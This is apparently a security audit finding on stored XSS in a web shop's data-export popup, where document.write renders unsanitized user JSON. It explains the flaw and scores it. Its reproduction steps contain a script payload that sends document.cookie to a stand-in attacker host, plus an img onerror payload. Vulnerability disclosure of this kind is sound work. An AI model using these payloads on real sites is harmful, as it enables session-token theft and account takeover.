Data export writes user-controlled JSON to a new window via document.write
`document.write(this.userData)` renders a JSON payload that embeds user-controlled fields (memory captions, review messages) as raw HTML, allowing stored XSS in the export popup.
In DataExportComponent.save() the response body returned by /rest/user/data-export is written directly into a freshly-opened browser window using document.write with no sanitization:
// frontend/src/app/data-export/data-export.component.ts:65-72
this.dataSubjectService.dataExport(this.dataRequest).subscribe({
next: (data: any) => {
this.error = null
this.confirmation = data.confirmation
this.userData = data.userData
window.open('', '_blank', 'width=500')?.document.write(this.userData)
...
}
})
The value of data.userData is produced by routes/dataExport.ts as JSON.stringify(userData, null, 2) and aggregates database content that originates from user input — memories.caption, reviews.message, order/product fields, etc. JSON.stringify only escapes JSON metacharacters, not HTML; an attacker‑controlled caption such as </script><img src=x onerror=alert(1)> is preserved verbatim and is parsed as HTML/JS when written into the new document.
No HTML sanitizer (DOMPurify, sanitize-html, Angular's DomSanitizer.sanitize) is applied on the path from data.userData to document.write. The new window inherits the origin of the parent document, so injected script runs with full access to the application's cookies and localStorage (including the auth token).
Note that the backend endpoint additionally fetches memories by req.body.UserId (routes/dataExport.ts:26), which lets an attacker pull another user's memories into the response — meaning attacker‑authored captions can be delivered to and rendered for a victim if the victim is induced to issue an export with a tampered body.
- Authenticate as any user.
- Create a memory with the caption set to
</script><script>fetch('https://attacker/?c='+document.cookie)</script>(e.g. viaPOST /memories). - Visit
Account → Privacy & Security → Request Data Export, complete the CAPTCHA, choose JSON, and submit. - The new pop-up window renders the JSON via
document.write; the injected script executes inside the application's origin and exfiltrates the JWT/session token from cookies/localStorage.
Stored XSS in the data-export popup. An authenticated attacker who can store HTML in fields included in the export (memories.caption, reviews.message) can execute arbitrary script in the export window's origin when the victim performs an export, leading to session/token theft, account takeover, and arbitrary actions on behalf of the victim.
Line 71 calls window.open(...)?.document.write(this.userData) with this.userData being the raw JSON.stringify(...) output from /rest/user/data-export, which aggregates user-controlled fields (memory captions, review messages). JSON.stringify escapes only JSON metacharacters (", \, control chars) — it does not escape <, >, or /, so a caption like </script><img src=x onerror=...> survives serialization and is parsed as HTML by document.write in the new window, which inherits the app's origin. No sanitizer (DomSanitizer/DOMPurify) is applied on the path from data.userData to document.write, and the exploit chain (store hostile caption → trigger export → script runs in app origin → steal token/localStorage) is reachable from an authenticated attacker.
The attacker must be an authenticated user able to store input in export-included fields like memories.caption or reviews.message (PR:L), and the victim must initiate the data export (UI:R) before window.open(...).document.write(this.userData) at line 71 parses the unsanitized JSON as HTML. The payload reaches the sink over the normal network API surface (AV:N) with no special preconditions beyond storing the caption (AC:L). The popup inherits the application's origin, so injected script runs same-origin and can read the JWT/session token from cookies/localStorage and act as the victim — yielding full confidentiality and integrity loss (C:H/I:H), but since execution stays within the same app origin, Scope remains Unchanged. No availability impact is demonstrated (A:N).
- CWE-79
- OWASP A03:2021 — Injection (Cross-Site Scripting)